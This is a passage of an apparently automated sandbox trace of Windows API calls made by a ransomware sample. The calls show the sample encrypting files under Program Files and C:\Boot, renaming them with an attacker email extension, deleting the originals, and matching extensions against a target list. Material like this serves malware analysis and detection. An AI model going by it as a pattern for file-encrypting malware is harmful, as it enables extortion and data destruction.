lpNumberOfBytesRead=0x328fed4*=0x6a0, lpOverlapped=0x0) returned 1 [0065.823] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0065.824] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.824] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.824] SetEndOfFile (hFile=0x214) returned 1 [0065.824] CloseHandle (hObject=0x214) returned 1 [0065.825] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.825] SetEndOfFile (hFile=0x20c) returned 1 [0065.825] CloseHandle (hObject=0x20c) returned 1 [0065.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0066.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0066.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0066.075] lstrlenW (lpString=".doc") returned 4 [0066.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.075] lstrlenW (lpString=".docx") returned 5 [0066.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.075] lstrlenW (lpString=".pdf") returned 4 [0066.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.075] lstrlenW (lpString=".xls") returned 4 [0066.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.075] lstrlenW (lpString=".xlsx") returned 5 [0066.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.075] lstrlenW (lpString=".ppt") returned 4 [0066.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0066.075] lstrlenW (lpString=".zip") returned 4 [0066.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.075] lstrlenW (lpString=".rar") returned 4 [0066.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.075] lstrlenW (lpString=".bz2") returned 4 [0066.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.075] lstrlenW (lpString=".7z") returned 3 [0066.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0066.075] lstrlenW (lpString=".dbf") returned 4 [0066.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0066.075] lstrlenW (lpString=".1cd") returned 4 [0066.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0066.075] lstrlenW (lpString=".jpg") returned 4 [0066.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0066.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0066.076] lstrlenW (lpString=".doc") returned 4 [0066.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.076] lstrlenW (lpString=".docx") returned 5 [0066.076] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.076] lstrlenW (lpString=".pdf") returned 4 [0066.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.076] lstrlenW (lpString=".xls") returned 4 [0066.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.076] lstrlenW (lpString=".xlsx") returned 5 [0066.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.076] lstrlenW (lpString=".ppt") returned 4 [0066.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0066.076] lstrlenW (lpString=".zip") returned 4 [0066.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.076] lstrlenW (lpString=".rar") returned 4 [0066.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.076] lstrlenW (lpString=".bz2") returned 4 [0066.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.076] lstrlenW (lpString=".7z") returned 3 [0066.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0066.076] lstrlenW (lpString=".dbf") returned 4 [0066.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0066.076] lstrlenW (lpString=".1cd") returned 4 [0066.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0066.076] lstrlenW (lpString=".jpg") returned 4 [0066.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.077] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0066.077] lstrlenW (lpString="BL00265_.WMF") returned 12 [0066.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0066.502] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=5752) returned 1 [0066.502] CloseHandle (hObject=0x1a4) returned 1 [0066.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20 [0066.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0066.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0066.502] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.502] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.503] GetLastError () returned 0x0 [0066.503] ReadFile (hFile=0x1a4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0) Thread: id = 20 os_tid = 0xac8 [0042.873] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x39f06b0 [0042.873] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x3a006b8 [0042.873] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710460 [0042.874] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x6) returned 0x713108 [0042.874] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710478 [0042.874] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x100000) returned 0x3ec0020 [0042.874] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710490 [0042.874] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710490, Size=0x20) returned 0x73f958 [0042.874] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710490 [0042.874] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710490, Size=0x20) returned 0x73f930 [0042.874] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.874] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0042.874] Wow64DisableWow64FsRedirection (in: OldValue=0x33cff58 | out: OldValue=0x33cff58*=0x0) returned 1 [0042.874] lstrlenW (lpString="kernel32.dll") returned 12 [0042.874] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f958 | out: hHeap=0x6c0000) returned 1 [0042.874] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0042.874] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f930 | out: hHeap=0x6c0000) returned 1 [0042.874] Sleep (dwMilliseconds=0x64) [0043.130] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.130] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.130] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.130] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=89168) returned 1 [0043.131] CloseHandle (hObject=0x164) returned 1 [0043.131] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0043.131] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.131] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.131] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0043.131] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0043.131] lstrlenW (lpString=".doc") returned 4 [0043.131] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.131] lstrlenW (lpString=".docx") returned 5 [0043.131] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.131] lstrlenW (lpString=".pdf") returned 4 [0043.131] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.131] lstrlenW (lpString=".xls") returned 4 [0043.131] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.131] lstrlenW (lpString=".xlsx") returned 5 [0043.131] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.131] lstrlenW (lpString=".ppt") returned 4 [0043.131] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.131] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0043.131] lstrlenW (lpString=".zip") returned 4 [0043.131] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.131] lstrlenW (lpString=".rar") returned 4 [0043.131] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.131] lstrlenW (lpString=".bz2") returned 4 [0043.131] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.131] lstrlenW (lpString=".7z") returned 3 [0043.131] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.131] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0043.132] lstrlenW (lpString=".dbf") returned 4 [0043.132] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.132] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0043.132] lstrlenW (lpString=".1cd") returned 4 [0043.132] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.132] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0043.132] lstrlenW (lpString=".jpg") returned 4 [0043.132] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.132] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0043.132] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0043.132] lstrlenW (lpString=".doc") returned 4 [0043.132] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.132] lstrlenW (lpString=".docx") returned 5 [0043.132] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.132] lstrlenW (lpString=".pdf") returned 4 [0043.132] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.132] lstrlenW (lpString=".xls") returned 4 [0043.132] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.132] lstrlenW (lpString=".xlsx") returned 5 [0043.132] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.132] lstrlenW (lpString=".ppt") returned 4 [0043.132] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.132] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0043.132] lstrlenW (lpString=".zip") returned 4 [0043.132] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.132] lstrlenW (lpString=".rar") returned 4 [0043.132] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.132] lstrlenW (lpString=".bz2") returned 4 [0043.132] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.132] lstrlenW (lpString=".7z") returned 3 [0043.132] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.132] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0043.132] lstrlenW (lpString=".dbf") returned 4 [0043.132] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.132] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0043.132] lstrlenW (lpString=".1cd") returned 4 [0043.133] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.133] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0043.133] lstrlenW (lpString=".jpg") returned 4 [0043.133] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.133] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.133] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.133] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.133] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=87616) returned 1 [0043.133] CloseHandle (hObject=0x164) returned 1 [0043.133] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0043.133] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.133] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.133] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0043.133] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0043.133] lstrlenW (lpString=".doc") returned 4 [0043.133] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.133] lstrlenW (lpString=".docx") returned 5 [0043.133] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.133] lstrlenW (lpString=".pdf") returned 4 [0043.134] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.134] lstrlenW (lpString=".xls") returned 4 [0043.134] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.134] lstrlenW (lpString=".xlsx") returned 5 [0043.134] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.134] lstrlenW (lpString=".ppt") returned 4 [0043.134] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.134] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0043.134] lstrlenW (lpString=".zip") returned 4 [0043.134] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.134] lstrlenW (lpString=".rar") returned 4 [0043.134] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.134] lstrlenW (lpString=".bz2") returned 4 [0043.134] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.134] lstrlenW (lpString=".7z") returned 3 [0043.134] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.134] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0043.134] lstrlenW (lpString=".dbf") returned 4 [0043.134] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.134] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0043.134] lstrlenW (lpString=".1cd") returned 4 [0043.134] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.134] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0043.134] lstrlenW (lpString=".jpg") returned 4 [0043.134] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.134] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0043.134] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0043.134] lstrlenW (lpString=".doc") returned 4 [0043.134] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.134] lstrlenW (lpString=".docx") returned 5 [0043.134] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.134] lstrlenW (lpString=".pdf") returned 4 [0043.134] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.134] lstrlenW (lpString=".xls") returned 4 [0043.134] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.135] lstrlenW (lpString=".xlsx") returned 5 [0043.135] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.135] lstrlenW (lpString=".ppt") returned 4 [0043.135] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.135] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0043.135] lstrlenW (lpString=".zip") returned 4 [0043.135] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.135] lstrlenW (lpString=".rar") returned 4 [0043.135] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.135] lstrlenW (lpString=".bz2") returned 4 [0043.135] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.135] lstrlenW (lpString=".7z") returned 3 [0043.135] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.135] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0043.135] lstrlenW (lpString=".dbf") returned 4 [0043.135] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.135] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0043.135] lstrlenW (lpString=".1cd") returned 4 [0043.135] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.135] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0043.135] lstrlenW (lpString=".jpg") returned 4 [0043.135] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.135] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.135] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.135] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.136] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=91712) returned 1 [0043.136] CloseHandle (hObject=0x164) returned 1 [0043.136] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0043.136] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.136] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.136] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0043.136] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0043.136] lstrlenW (lpString=".doc") returned 4 [0043.136] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.136] lstrlenW (lpString=".docx") returned 5 [0043.136] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.136] lstrlenW (lpString=".pdf") returned 4 [0043.136] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.136] lstrlenW (lpString=".xls") returned 4 [0043.136] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.136] lstrlenW (lpString=".xlsx") returned 5 [0043.136] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.136] lstrlenW (lpString=".ppt") returned 4 [0043.136] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.136] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0043.136] lstrlenW (lpString=".zip") returned 4 [0043.136] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.136] lstrlenW (lpString=".rar") returned 4 [0043.136] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.136] lstrlenW (lpString=".bz2") returned 4 [0043.136] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.137] lstrlenW (lpString=".7z") returned 3 [0043.137] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.137] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0043.137] lstrlenW (lpString=".dbf") returned 4 [0043.137] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.137] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0043.137] lstrlenW (lpString=".1cd") returned 4 [0043.137] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.137] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0043.137] lstrlenW (lpString=".jpg") returned 4 [0043.137] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.137] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0043.137] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0043.137] lstrlenW (lpString=".doc") returned 4 [0043.137] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.137] lstrlenW (lpString=".docx") returned 5 [0043.137] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.137] lstrlenW (lpString=".pdf") returned 4 [0043.137] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.137] lstrlenW (lpString=".xls") returned 4 [0043.137] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.137] lstrlenW (lpString=".xlsx") returned 5 [0043.137] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.137] lstrlenW (lpString=".ppt") returned 4 [0043.137] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.137] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0043.137] lstrlenW (lpString=".zip") returned 4 [0043.137] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.137] lstrlenW (lpString=".rar") returned 4 [0043.137] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.137] lstrlenW (lpString=".bz2") returned 4 [0043.137] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.137] lstrlenW (lpString=".7z") returned 3 [0043.137] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.137] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0043.137] lstrlenW (lpString=".dbf") returned 4 [0043.138] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.138] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0043.138] lstrlenW (lpString=".1cd") returned 4 [0043.138] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.138] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0043.138] lstrlenW (lpString=".jpg") returned 4 [0043.138] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.138] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.138] 